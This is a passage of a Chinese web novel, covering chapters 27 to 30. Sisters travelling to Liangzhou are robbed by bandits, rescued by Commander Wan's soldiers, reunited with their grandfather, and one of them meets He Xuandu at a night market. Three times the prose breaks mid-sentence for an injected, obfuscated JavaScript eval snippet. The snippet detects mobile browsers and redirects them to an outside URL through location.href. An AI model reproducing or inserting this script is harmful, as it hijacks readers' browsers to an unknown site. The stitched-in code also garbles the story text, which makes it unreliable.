柳舜华抓紧车壁,从车窗缝隙中向外望去。 漫天尘土散尽,她看到后面的牛车依旧穷追不舍。 柳棠华见她神色慌张,也跟着惴惴不安,“姐姐,出什么事了?” 柳舜华稳住神色,沉声道:“那对夫妇有问题。” 柳棠华也看到了,他们正在拼命赶车。 “姐姐是不是误会了,也许他们只是想快些进城。” 柳舜华摇头,“他们看起来对这一带极为熟悉,可却在车夫提醒要加紧进城时,才慌张赶路,好似之前没想过要露宿一样。” 柳棠华仔细一想,确是如此,他们一路上都不慌不忙,没理由在车夫提醒后才这么拼命赶车。 他们如此拼命,倒像是……要追上她们。 “方才我便隐隐觉得有些不对,他们驾的牛车也太慢了些,似乎有意拖着咱们。只不过那大姐抱着孩子,我以为他是有所顾忌,想行得平稳些,才没往深处想。可你看如今,他这一路颠簸,孩子大哭不止,他却不管不顾,依旧拼命赶车。” 柳棠华颤声道:“他们不会是贼匪吧?” 柳舜华神情紧张,“难说,只盼咱们能快些甩开他们。” 柳棠华垂头丧气,“今早那店家好心提醒了的,我当时还疑心他是要哄骗咱们留宿,却不知上了贼人的当,枉顾了他的好心。” 柳舜华安慰道:“你也不必懊恼,咱们第一次出门,哪里知道这些门道。他们的牛车笨重,未必能追上咱们。” 好在车夫有经验,一路跑得飞快,转了个弯,进入窄道时,暂时将他们甩开。 两人松了一口气,总算是有惊无险。 突听林风飒飒,草木沙沙作响,一队人马从山坡之间俯冲了下来,将他们团团围住。 柳棠华早吓得说不出话来,抓住衣襟不停颤抖。 混乱的嬉笑声传来,脚步纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788537|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂,四周乱糟糟一片。 柳舜华壮着胆子从缝隙中向外望去,对方约有几十余人,瞧着都是壮年。 为首的看着有二十五六岁,手里提着一把长刀,一双眼瞧着分外精干,倒没有想象中凶神恶煞的样子。 车夫见多识广,很快镇定下来,高喊道:“你们是何人?想做什么?” 为首的男子一把将刀扛在肩上,啐了一口,“你说是什么人,自然是打劫的。” 车夫试着用行话问,“敢问兄弟们,吃的是哪口饭?” “吃你娘的饭,都给老子滚下来!”粗犷的男声吼了起来。 车夫低声道:“小姐,他们不是道上的。” 话音方落,一把刀便架在他的脖颈上,“废什么话,再不下来,要你们的命。” 柳棠华脸色煞白,浑身僵硬,一动也不敢动。 柳舜华强自撑起身子,“棠华,别怕,先下去。他们应是劫财,东西都给他们便是。” 车门推开,柳舜华扶着已经瘫软的柳棠华下了马车。 她们一下马车,便见后面的牛车紧追了上来。 那汉子勒停牛车,从上面跳了下来,一改此前憨厚的模样,对着为首之人道:“幸亏我早有准备,点燃狼烟为信,不然差点就让肥羊跑了。” 为首的男子大笑道:“还是大哥有想法,这次够咱们吃一阵子了。” 马车旁立着的几人钻进车内,很快将车内几箱物品抬了下来。 柳棠华恨恨地盯着那对夫妇,一脸委屈,眼眶里的泪打着转。 那妇人心虚,转过头去,不敢再看她。 柳舜华深吸一口气,稳下心神,逼着自己冷静下来。 今早客栈内,店家曾说过,靠近祁连山的那拨贼匪手段凶残。车夫方才也说过,这伙人不是道上的。 看样子他们确实是只谋财,暂时没有伤人的打算。 一伙人将箱子抬到牛车上,问道:“三哥,这三个怎么办?” 为首的摸了摸脑袋,“他娘的,你们说怎么办?” 那妇人转过头,抱着孩子低声道:“三弟,咱们只图财,就放了她们吧。” 驾牛车的汉子将她拉到一边,“男人们做事,有你什么话。” 为首的男人犹豫了一下,转头看向两人。 一个似娇花,一个似嫩柳,水灵灵的两个美人,他平生都未见过这么好看的女子。 下面的人看出了他的心思,哄笑道:“三哥不是还未娶亲,不如一起掳了去,给我们当嫂子算了。” 柳棠华一听,吓得浑身发抖,更加站立不住。 柳舜华闻言,也是心跳如擂。 这些人即便不是贼匪,也是常年居住深山之间,若真是被掳了去,只怕再想逃出来就难了。 她抬头望着为首之人,努力让自己看起来很平静,“我们姐妹是去凉州探亲的,已经去信给到外祖说今日必到。若我们出事,外祖必定报官。你们可想清楚了,劫财就算被抓也罪不至死,可强抢民女,是要被腰斩的。” 少女虽因害怕微微颤抖,却字字铿锵,落地有声。 蠢蠢欲动的一群人顿时安静下来,一个个面面相觑。 有人问:“三哥,怎么办,放了?” 为首之人突然将扛在肩上的刀放了下来,双手按在刀柄上,饶有兴致地打量着柳舜华,“不,我决定了,我要娶她。” 柳舜华瞪大双眼,有些发懵。 说罢,他直直走向柳舜华,垂头认真道:“我瞧着你挺不错,跟了我吧。若你跟了我,我保证一辈子只对你好。” 柳舜华仓惶后退两步,抓紧藏在袖中的短刀。 她满脑子只有一个念头,绝对不能跟他走。 为首之人紧盯着她,就像猛兽看着自己的猎物,步步逼近。 “唰”的一声,长箭破空,势不可挡,生生刺穿了为首之人的手臂。 鲜血四溅。 柳舜华浑身僵直,呆愣地望着箭矢的方向。 对面上坡之上,不知何时站了一人。 那人身穿金甲,黑色披风翻飞,戴着铁面具的脸上泛着幽冷的光,依然维持着射箭的姿势。 山风在耳边呼啸,山顶白云流转,无边的晚霞倾泻而下,柳舜华静静地望着那人。 她看不清他的脸。 28. 第 28 章 下一刻,山坡上的官兵纷纷冲了下来,兵器碰撞之声四起,嘶吼声不断。 柳舜华收回目光,忙拉着柳棠华躲在车后。 两人紧紧贴在一起,一动也不敢动,兵器的寒光映着落日,不时晃在眼前,空中血腥味越来越浓重。 不知过了多久,厮杀声渐弱,哒哒的马蹄声逐渐逼近。 柳舜华抬头仰望,只见马上坐着个身穿甲胄的将军,三十余岁的年纪,身躯凛凛,一双眼目射寒星,如山间雄狮,威压逼人。 “你们没事吧?”开口却是与装扮十分违和的温言。 柳舜华扶着马车起身,施礼道:“无事,多谢将军相救。” 这时有人匆匆来报:“万都尉,贼人已全部擒获,共计三十二人。” 柳舜华闻言,猛地抬眸,这位将军便是万都尉。 柳棠华喜极而泣,“您就是万都尉,太好了,真是太好了。” 万都尉一张满是风沙的脸上堆笑,俯身问道:“怎么,你这个小丫头也知道我?” 柳棠华点头道:“我们在客栈内,听到过您的威名,说您威风凛凛,战无不胜,是个顶天立地的大英雄。” “哈哈哈哈……” 万都尉还是头一回被一个小姑娘当面拍马屁,听得心花怒放,忍不住仰天大笑。 众将士也跟着笑了起来。 柳棠华不好意思地挠挠头,她虽说得有些夸张了些,可都是肺腑之言。方才若不是万太尉的人及时赶到,她们指不定被掳到哪里去呢。 万都尉指着牛车上的箱子,“这些可是你们的财物?” 柳舜华点头称是。 万都尉当即命人将几个箱子抬回到马车内。 此时天色渐暗,最后一抹斜阳也已西沉。 虽已剿灭了贼人,可柳舜华依旧心有余悸,且不说前路会不会再有贼匪,便是行得再快也需两个时辰,无论如何也赶不上城门关闭了。 万都尉看出她的忧虑,翻身下马,将缰绳丢给身边的将士。 “这个时辰只怕不宜赶路,若是两位小姐不弃,不妨就随着我们将就一晚如何?” 柳棠华像是生怕柳舜华不答应,抢先道:“不嫌弃不嫌弃,万都尉肯收留,我们求之不得。” 万都尉笑了一下,“两位小姐请随意。” 柳棠华跟在万都尉身侧,笑道:“万都尉,我们姓柳,是长安来的。你可以叫我芊芊,那个是我姐姐,你可以叫她蓁蓁。” 柳舜华一把拉过她,低声道:“芊芊,万都尉事务繁忙,你莫要打扰。” 万都尉朝着她们点头致意,转身朝着那伙被抓的贼人走去。 柳棠华望着万都尉高大魁梧的背影,尤不忘感慨道:“大英雄当如是啊!” 众将士很快收拾好了残局,柳舜华同柳棠华上了马车,跟着将士们又行了一段,在一处开阔平缓之地驻扎下来。 夜幕降临,篝火燃起。 将士们支起了锅准备开始煮饭,柳棠华忙跑了过去,一会帮着去淘洗,一会帮着去生火。军中多是粗人,哪里见过这么娇俏的小姑娘,看着小姑娘忙前忙后,丝毫不介意这些粗活,一个个暗自生喜,不由悄悄偷看几眼。 柳舜华扫了一圈,并未瞧见方才山顶上那个戴面具的人。 看万都尉正在篝火旁,她犹豫片刻,走上前去行了礼,“万都尉,适才有个戴面具的,怎么没瞧见?” 万都尉拨弄着篝火,“他啊,不在,被我调去别的地方了。” 柳舜华沉默片刻,瞧着远处被关在一处的贼人,缓缓道:“万都尉,这伙人应不是贼匪。” 万都尉来了兴致,“你怎么知道?” 柳舜华笑了笑:“万都尉能及时赶到,应是看到了狼烟吧?” 万都尉眉头一挑,“是你燃的?” 柳舜华摇头,“那倒不是,是那伙贼人点的。在客栈时,我听店家说过,那伙贼匪手段凶残,行事狡猾。”她又望了望缩在一起的那些人,“可他们做事,顾头不顾尾,完全没个章法,不像是训练有术的样子。若他们是贼匪,只怕官府也不会求助于您。” 万都尉眼中颇带欣赏,“你一个小姑娘,懂得倒是不少。你放心,贼匪滋扰百姓,我们定不会胡乱找些替罪羊草草了事。” 柳舜华忙道:“万都尉误会了,我不是这个意思。您威名远扬,坦荡磊落,无人不知。只是贼人中有个幼儿,尚在哺乳中,着实有些可怜……” 万都尉点点头,“怜惜弱小乃人之常情,那名妇人,我们会酌情处理。” 篝火熊熊燃烧,火焰升腾。 柳舜华咬了咬唇,思索要如何开口,询问他是否认识贺玄度。 万都尉隔着篝火,打量着她,小姑娘貌美心善、秀外慧中,谁若是娶了她,那可真是有福气。 他问:“柳小姐来自长安,怎么会孤身到凉州去?” 柳舜华如实道:“我外祖家在凉州,一别多年,实在挂念,便想着过来看看他老人家。” 万都尉点头,“柳小姐孝心可鉴,一介女子,敢孤身奔赴凉州,实属难得。” “姐姐,吃饭了。” 柳舜华不好再问,起身拜别。 柳棠华端了一碗穈粥过来,“姐姐,你饿坏了吧,我自己做的你尝尝。” 柳舜华接过粥,喝了几口,粗糙的口感自然比不上家里的饭食,不过劫后重生,能吃上一口热粥,已是难得。 柳棠华又殷勤地端了穈粥给万都尉,温言提醒他小心烫着。 万都尉家中没有女儿,又常年在军中,突然被一个小姑娘如此细心照料,一副受宠若惊的模样。 等众人都喝上了,柳棠华才端了碗,坐在地上,拉着方才一起烧火的将士,让他接着讲上阵杀敌的故事。 柳舜华看着人群中棠华的笑脸,心下安定不少。 一阵婴儿哭声传来,柳舜华看了看手里的穈粥,起身走了过去。 方才那伙贼人都被缚住手臂蹲在地上,独抱着孩子的妇人瘫坐在一旁,手忙脚乱地哄着哭闹的婴儿。 柳舜华对着两个看守的将士道:“小娃娃闹得厉害,想是饿了,能不能将我这碗粥给到他?” 两个将士互相看了一眼,“小姐勿怪,此事我们做不了主,需都尉首肯。” “无妨,放柳小姐进去。” 柳舜华循声回头,只见一人朝她走来过来。 来人身材高大,眉眼端正,颇有几分书卷气,在军中实属难得一见。 两个将士立即问好:“曹护军。” 曹护军挥了挥手,两名将士站到一旁,给柳舜华让出路。 柳舜华点头致谢,走到妇人身边,弯下腰去,“大姐,给孩子吃点东西吧。” 妇人抬头,见是柳舜华,羞愧地接过穈粥,慢慢地喂给怀中的婴儿。 柳舜华温声道:“大姐也喝点吧,不然……” 身边都是男人,她实在不好说出,不喝没有奶水这样的话。 那妇人点点头,待婴儿喝足了,才将剩余小半碗喝了干净。 柳舜华收了碗,转身欲走,却见那妇人跪在地上,不住泣道:“此前是我对不住小姐,我死不足惜,请小姐受我一拜,只盼着小姐日后能平安顺遂。” 柳舜华叹了口气,顿了一下,没有说话。 “小姐,等一下。” 柳舜华回身,说话的是白日里为首的老大。 那人也不顾周遭是何情境,隔着人群朝她喊道:“小姐,我叫程三,敢问小姐芳名?若是我此番大难不死,定会改邪归正,去闯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804385|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番事业来。万望小姐等我!” 柳舜华大囧,这人真是个疯子,亏得周遭之人都不熟识,否则让她日后如何自处。 曹护军抬脚走了过去,对着程三便是一记飞脚,怒道:“哪里来的鼠辈,敢在这里口出狂言,柳小姐也是你敢肖想的?” 程三白日里中了一箭,又被踹了一脚,当即倒在地上。 柳舜华瞥了他一眼,转身离开。 再回去时,马车旁却多了一个简易的营帐。 柳棠华拉着柳舜华的手往里走,“姐姐你看这个营帐如何?” 万都尉一行不足百人,像是临时出任务,应无多余准备,临时支起一顶勉强避风的营帐,自然是要留给万都尉。 柳舜华摇头道:“棠华,不可。” 万都尉不知何时走了过来,“柳小姐,你们是女子,难免有些不便,这营帐本就是为你们搭的。你们安心睡上一觉,明日一早便可启程。” 一旁的曹护军也说笑道:“都尉一直都是风餐露宿的,早习惯了。何况只是将就一晚,他自然无需营帐。这营帐确实是那些小子们为你们搭的,若是被我们万都尉住了,岂不是要让下面那些人笑话。” 话都说到这份上,柳舜华也不再推辞,道谢后便进了营帐。 说是营帐,其实不过是用一些粗布围起一个遮风之所。不过在这荒山野岭,却显得弥足珍贵。 柳棠华大咧咧躺在铺满干草的垫子上,直呼舒服。 柳舜华笑道:“原本还担心你贪吃爱玩,这一路会有不适,我也是今日才知,你这般好养。” 柳棠华翻个身,靠近柳舜华,“姐姐,这次出行虽然惊险,但我却一点都不后悔跟着。往日里,我都是听说书的讲战场上那些惊心动魄的厮杀,可今日遇着了方知惊险。” 她叹了口气,“那些世人传颂的故事,于他们而言,却是实实在在的日常,如此一想,怎不让人唏嘘。” 柳舜华头枕着手臂,看着上方漏进来的一丝星光,“是啊。我原想着,行万里路,看尽世间山水,是件畅快的事,而如今方知,世事不易。” 柳棠华静静地躺着,“他们真是不容易,拼了命的搏杀,哪个不是伤痕累累,可到头来还不知能得到什么。侥幸的还能活着,或是挣得个功名。不幸的便是马革裹尸,客死他乡。” 她喃喃道:“我真希望,这世道能一直太太平平的,四海无战事,天下晏然,每家每户都能康乐安宁。” 黑暗中,柳舜华看不清棠华的脸,可心内却莫名震动,蓦地回想起前世。 棠华被封皇后那日,她依例前去朝拜。 年轻的皇后端坐宝座之上,金光雾绕之下,稚嫩的脸上已有几分不易察觉的威仪。 她恍神了许久。 那是她第一次意识到,被她护在羽翼下的妹妹,已长出翅膀,正欲振翅高飞。 她的棠华,原来早已在不知不觉中长大了。 柳棠华尤自伤感道:“姐姐你说,明日一别,我们还能再见到他们吗?” 柳舜华拉过她的手,柔声道:“人这一生,聚散匆匆,过客太多,短暂相遇后,注定要分开。可就像流水东西,终究要归于大河。也许来日,在你不知道的时候,你们就已经重逢了。” 月光柔和,静静流照在营帐内,两人眼皮渐沉,很快睡了过去。 不知过了多久,柳舜华迷迷糊糊中醒了过来。 夜里风大,吹动着营帐,掀起一角。 她抬起眼皮向外一望,看到远处篝火旁一道熟悉的背影,就那么直直地坐在营帐外。 挺拔坚毅,不动如山,静谧似水。 一瞬间天地万物停滞,世间唯余他一人。 是她熟悉的贺玄度。 她知道,她又做梦了。 29. 第 29 章 天亮后,柳舜华收拾好行囊,向万都尉告别。 万都尉道:“昨夜快马回凉州城的将士已经探过路,前方很安全,并无贼匪,柳小姐可放心前行。” 两人道谢过众将士,上了马车。 柳棠华掀开车帘,对着众人不舍地挥手,前方站着的几人眼巴巴地看着她,红了眼眶。 柳舜华目光不觉瞥向远处对面的山顶,烟岚云岫,迷雾一片。 马车一路行得很顺,待日头升起时,凉州城已近在眼前。 “小姐,要进城了。” 柳棠华一听,整个人又活了过来,忙探出头去。 柳舜华看着渐渐多起来的人群,对着车夫道:“行慢些吧,进了城就不急了。” 还未入城,柳舜华远远瞧见城门旁立着的两个少年人。两人各自牵了一匹马,正焦急地张望着。 柳舜华叫了声“停车”,掀开车帘一跃而下。 “大表哥,二表哥,你们怎么来了?” 两人围上去,对着柳舜华瞧了又瞧,生怕她有个好歹。 “我们算了时辰,你昨日应该到的,结果死活等不到你,祖父急得一晚上没睡。” “就是,父亲担心你遇到了贼匪,让我们一早在这候着,今日若是再等不到你,父亲就要报官了。” “舜华,你这一路可还顺利?” 两人七嘴八舌,问个不停。 柳舜华作势捂住头,“你们吵得我头疼,我这不好好呢吗?” 大表哥笑道:“这就头疼了,回去有更吵的等着你呢。莹儿那丫头,自收了你的信整日里念叨着,今日非要吵着跟过来,被父亲训斥了好一顿才消停。” 柳棠华也下了车,跟着柳舜华身后,乖巧地站着。 柳舜华拉过柳棠华向两人介绍,“这个是我妹妹,舜华,小名唤芊芊。” 两人笑道:“芊芊妹妹好,果然同舜华妹妹一样,是个讨喜的。” 柳舜华又指着两人道:“这个是大表哥,陈源。二表哥,陈新。” 柳棠华躬身问好,脆生生的声音带着几分天真娇俏,让人一听便心生欢喜。 大表哥陈源道:“这里风大,你们先上车,咱们也好快些回去,我怕祖父早已等不及了。” 二人上了马车,表哥们在前引路,一行人缓缓进了城。 凉州虽不及长安繁华,却是另一番没见过的景象。道路两旁卖着长安难得一见的小玩意,胡饼夹着羊肉的香气弥散在空中,葡萄酒旗帜飞扬,不时有些金发碧眼的西域商人穿梭…… 柳棠华瞧着新奇,拉着柳舜华的衣袖,“姐姐,他们好高啊,头发眼睛也和我们不一样。” 柳舜华自幼见惯了这些西域人,并不觉得稀罕,只悄声提醒,“你小声些,他们大多都是商人,在这里待得久了,听得懂你说什么的。” 柳棠华忙闭了嘴,将目光盯向路边的新鲜瓜果。 马车行至一个岔路口,左拐又行了一段路,鼎沸的人声渐渐淡去。不多时,便在一处人家停了下来。 柳舜华听大表哥说了声“到了”,便迫不及待跳下了马车。 陈家老爷子等得不耐,一早上让人去瞧了无数次。一听到马蹄声,不顾自己行动不便的双腿,抓起拐杖,令孙女陈莹半搀着便走了出去。 陈望与刘氏跟在后面急得大叫,“父亲小心些。” 陈老爷子踉跄出门,正看到从车上跳下来的柳舜华。 他一瞬怔然,顿住了脚步,没再往前,只是盯着柳舜华发愣。 柳舜华一下车,看到外祖,扑通一声跪在地上,眼泪滚滚直下。 “外孙不孝,这么晚才来看您。” 陈老爷子身子晃了一下,忙伸手去扶跪在地上的柳舜华,一把将她揽在怀中,老泪纵横,“我的蓁蓁啊,外祖……总算是见到你了。” 众人见此情形,无不落泪。 过了许久,才擦干眼泪,迎着她们进了门。 落定后,柳舜华先向众人介绍了棠华。 一家人对着柳棠华嘘寒问暖,陈莹见棠华与她同岁,欢喜不已,拉着她的手不丢,直言要带她玩遍凉州城。 柳舜华将父亲准备的礼物交给舅父打理,又让人将自己准备的箱子抬了上来,把采买好的礼物当场分给众人。 说起来,柳舜华能如此大方,多亏了贺玄度。 贺玄度离开长安前,曾命洪声送了她两枚金饼,说是照看绿玉的谢礼。 她本是想拒的,奈何洪声不肯收。 她原想着,等贺玄度回到长安,再亲自还回去,可左等右等,都未能等到贺玄度。 后来采买钱财不够,她索性拿出一枚金饼,兑换了铜钱。 谁知越买越上瘾,不出半日,一枚金饼就这么没了。 上辈子未嫁前,柳家不过是平常人家。 出嫁后又被困在相府自顾不暇,她哪有闲心随心所欲地采买。 如今活了二十余年,头一遭感受到肆意采买的乐趣。 柳舜华当即决定,将另一块金饼也带来凉州,以备不时之需。 至于要如何还给贺玄度?算了,退来退去的,倒显得生分了。 一家人欢欢喜喜地收下礼物,直赞柳舜华有心。 柳舜华最后才笑盈盈将一株山参拿出呈给外祖。 陈老爷子接过,摸了摸盒子,“人老了,吃这么好做什么,何必要浪费。” 柳舜华打趣道:“看来外祖是对外孙的礼物不满意,那明日我再去逛逛,买一件让您满意的去。” 陈老爷子笑了:“你这丫头,这么多年过去了,还是这么贫,和你母亲一个样。” 陈老爷子有两子一女,除老大健在外,其余皆不在人世。老二自幼夭折,年岁一大,他倒渐渐忘了。 可对他的幼女,柳舜华的母亲,他一直是疼爱有加,只可惜她红颜薄命,也已早早离世。 柳舜华越大越像她母亲,数年不见,方才她下车之时,陈老爷子好一阵恍惚。 接风午宴异常丰盛,满满一大桌子的菜,看得柳舜华都有些眼花缭乱。 “舜华,这个鱼是昨日刚钓上来养着的,没有刺的,你尝尝。” “这个羊肉从昨夜就炖上了,软烂得很,快试试。” “舜华姐姐,这些菌菇是我去山上捡的,可新鲜了。” “棠华啊,别拘着,都是自己人,多吃一点。” …… 两姐妹被不停地夹菜,腮帮子鼓鼓的,根本停不下来来。 一向贪吃的柳棠华,在吃了最后一块羊肉后,实在有些吃不下了,心满意足地放下碗筷。 舅母看着吃得满嘴流油的柳棠华,直叹道:“这孩子真好,吃什么都香,不像这几个小崽子,吃个饭总挑三拣四。真的是,让我觉得我这顿饭,做得值。” 柳舜华笑得倒在椅子上,“舅母,她能吃着呢,日后少不得要麻烦你多做些饭食。” 舅母拿了帕子给柳棠华擦嘴,“女孩子家的,能吃多少,咱们养得起。” 柳棠华擦了嘴,对着舅母道:“舅母做得太好吃了,比我们家做得好吃多了,我没忍住,就吃得多了些。” 舅母喜不自胜,“这孩子可真会说话,真叫人喜欢。” 吃过饭,陈老爷子问了柳家近况,得知一切安好,柳桓安高升,心中一时欢喜,一时又感慨起他那过世的女儿没福气。 老人家到底年纪大了,昨夜又担心了一晚,一夜未得好眠,不过闲坐片刻,便有些撑不住,柳舜华忙扶了外祖去休息。 柳棠华见柳舜华得闲,跑来兴奋道:“姐姐,莹儿说今日开夜市,我也想去见识一下。” 大安有夜禁,除重要节日,晚上一律不准无故游荡。 凉州城却是个例外。 因与西域诸国通商,又处在边境要道,每月月初,十五,以及月末夜间会开市,以便百姓进行贸易。 柳舜华幼时曾随舅舅逛过夜市,不过时日久远,早已忘了是何情景。 如今听棠华说起,她心中也是蠢蠢欲动。 凉州夜市流传二十余年,集市上虽偶有争斗,但毕竟是少数。柳舜华提议去夜市时,舅舅也并未反对,只是嘱咐两兄弟好好照看舜华她们。 三姐妹回屋收拾之际,柳舜华想起表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819047|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐陈茵。表姐是家中老大,如今已经嫁人。 幼年时,表姐待她一向亲厚。她时常跟在表姐身后,什么好吃的好玩的,但凡她喜欢,表姐都会毫不迟疑地让给她。 “莹儿,茵表姐不是嫁得不远,不知她晚些时候是否得空?若是得空,不如去请了茵表姐,咱们姐妹一起可好?” 莹儿正描眉的手顿了一下,脸上的笑倏忽僵住,“算了,她如今是大忙人,已经小半年不曾归省。前些时日祖父过寿,父亲亲自去请她回来探望,她都回绝了。还有,听说你要回来,家中也早差人去请她了,她却又推说忙。夫家高升,娘家自然配不上她这位贵夫人,还叫她作甚。” 柳舜华有些意外,印象中茵表姐性格温顺,为人敦厚老实,应不至于这么傲慢才是。 只是毕竟她已多年未见表姐,不好妄言,又不想惹莹儿不快,遂不再提。 一行人到夜市时已是人头攒动,充街塞陌。 十里长街挂起了各式花灯,灯火煌煌。酒楼商铺林立,不少铺子门前都安排了几个身穿薄衫的舞姬来招揽客人。街道两边满满当当的各式物件,看得人眼花缭乱。 往来人群穿着奇异者,数不胜数,有面具遮挡,互不相识,丝毫不必在意别的目光。 凉州夜市最初尚未经官府认证时,商贩之间多是私自交易,故为免被认出,多佩戴面具。如今夜市虽早已得官府认可,佩戴面具的习俗还是保留了下来。 入乡随俗,柳舜华也戴了一个蝴蝶面具,其余各人也都选了心仪的面具。 几人一路说说笑笑,柳棠华看什么都稀奇,一路走走停停。 路过几家酒楼时,陈莹说起了附近醉月居的胡姬古赞丽,夸她舞时喜赤足,旋转如风,随性洒脱,一舞动人心,无人可以抵抗。 柳棠华一听,蠢蠢欲动。 二表哥笑道:“还说我平日不务正业,这种声色之所,怎么你们一个个比我这个男子还要有兴致。” 陈莹撇嘴,“你们男子俗不可耐,看到美色便想据为己有,我们只是欣赏,怎么能一样。” 眼见两人又要吵起来,柳舜华忙打起圆场,“我在长安时,尤喜欢舞乐,只是还未见过胡姬跳舞,今日也想涨涨见识。” 大表哥豪爽一笑,“也好,他们家的葡萄酒,堪称一绝,许久未曾饮,我都有些馋了。” 二表哥一向听大表哥的话,自然不会再反对,一行人当即决定前往。 还未到醉月居,只听一声烟花炸响,空中霎时如星子散落,纷纷跌入人间。 人群瞬间沸腾起来,一窝蜂地向着烟花的方向冲去。 柳舜华出神地望着空中绽放的烟花,等再扭过头时,人已经被挤到挪不开脚步。 她看到大表哥紧紧拉着棠华的衣袖,对着她高喊:“老二,舜华,你们别慌,咱们醉月居见!” 柳舜华忙抬头去寻二表哥,她踮起脚,朝四周张望一圈,人群中却怎么也看不到二表哥的身影。 她有些慌张,猛一回头,才发现二表哥正站在身后。 人潮涌动,她拉紧二表哥的衣袖,“这里人多,咱们还是先避开吧。” 穿过拥挤的人群,直到走到街边石桥处,柳舜华才放开二表哥衣袖。 “方才真的好险,差点就要与表哥走散了。” 柳舜华轻喘着气,转身抬起头,才发现“二表哥”正双手抱胸,歪头看着她。 适才人多,她未曾留意,如今借着两岸的灯火一瞧,柳舜华才发觉有些不对。 她急着要看清些,一把摘下套在脸上的面具。 眼前之人虽与二表哥身量相当,带着一样的面具,同样身穿暗红柿蒂纹锦袍,腰间却多系了条玄色革带,头发简单束起,墨发肆意飞扬,姿态舒展又不羁,绝不是二表哥。 想起方才一路拉着个陌生人,柳舜华满是尴尬,不住垂头道歉,“实在对不住,我认错人了。” 两岸灯火璀璨,人声杳杳,桥下水波不止,光影浮动。 那人轻声一笑,悠然抬起一只手,缓缓将面具摘下,露出一张熟悉的脸来。 “柳舜华,好久不见。” 30. 第 30 章 漫天的烟花绽放在上空,拂云而过,盛开成一朵朵银色的花,落地成春。 光影明灭,烟尘如雾,贺玄度一张脸迷幻得似在梦中。 柳舜华几乎不敢相信自己的眼睛,她上前一步,语气中是难以掩饰的愉悦,“贺玄度,怎么是你?” 贺玄度将面具收在腰间,朝她笑道:“怎么,不知道我是谁,还敢拉着我跑一路?” 柳舜华没由来一阵心慌,生怕贺玄度误会,“你的面具和我二表哥一样,我认错了。” 贺玄度歪头看着她,“你怎么也来凉州了,不会是追着我来的吧?” 柳舜华脸上一红,“谁追着你了,你一声不响就走了,我怎么会知道你来了凉州。” 贺玄度点点头,“懂了,你是怪我没有同你打招呼。” 柳舜华知道他说话不着调,不再顺着他的话。 “我外祖家也在凉州,我是来看外祖的。” 贺玄度眉头一挑,“你怎么知道,我外祖家也在凉州?” 柳舜华心内一紧,面上却不显,“恕我直言,你们贺家的事,在长安城一向流传比较广。” 贺玄度想了想,这个倒是。如今继母为人高调,整个长安几乎无人不晓。长安城贵妇们看不惯她如此嚣张跋扈,对她的出身多有诟病。每提到她,总会拉出他母亲来对比。 柳舜华想到她认错了人,二表哥他们定会着急,不敢再逗留。 “我同表哥们说好了要去醉月居,耽搁这么久,只怕他们都要等急了。” 贺玄度一听,“这么巧,我也准备去那喝酒,我送你。” 人群熙熙攘攘,贺玄度走在前面,柳舜华亦步亦趋地跟着。 贺玄度扭头看了一眼身后的柳舜华,“抓住我的衣袖,别再走散了。” 上辈子,贺玄度是她的小叔,是她暗藏在心底的一缕光,不可碰不可摸。 方才她是认错了人,才牵着他的衣袖走了一路,如今听他这么说,她却犹豫了。 她本能想伸出手,但一垂头却发现,双手紧张得握成拳头,根本张不开。 她有些懊恼,如今重活一遭,她与他之间,根本没有任何道德束缚,还害怕这些做什么。 夜风温柔,柳梢头一钩弯月。 影子晃动在石桥上,两人身影重叠。 柳舜华心旌摇曳,鬼使神差般伸出手。 贺玄度见她迟迟不动,忍不住转身,一把扯过她的衣袖,将她的手放在自己衣角。 “磨磨蹭蹭的,还不快些,再慢酒楼都要关门了。” 柳舜华浑身一颤,整个人瞬间失了神志,拉着贺玄度的衣角,恍恍惚惚。 柔顺的丝绸入手微凉,滑腻腻的触感,让人如坠云端。 有风拂过,吹得柳舜华有几分清醒。 一瞬间,柳舜华欣喜若狂。 她觉得,她触摸到了月亮。 “到了。”贺玄度声音响在耳边。 柳舜华闻声抬头,正前方“醉月居”三个大字赫然在目。 他们走得也太快了些! 两人并肩而行,柳舜华才抬脚进门,迎面一只杯盏便飞了过来。 贺玄度眼疾手快,一把拉过柳舜华,将她扯到一边。 杯盏应声碎裂。 “你陈家不过是养马的,也敢动我?”说话之人言语中尽显嚣张。 柳舜华蹙眉,陈家,养马? 他说的不正是外祖家。 柳舜华抬头循着声音望去,果见表妹陈莹正举着一个坛子大骂,“你又是个什么东西,无耻下流的玩意。我们陈家行得端站得正,坦坦荡荡,不像你一肚子龌龊,带着个不知羞耻的女人招摇过市。” 陈莹越说越气,情绪激动,整个人脸涨得通红,被两个兄弟紧紧拉住。 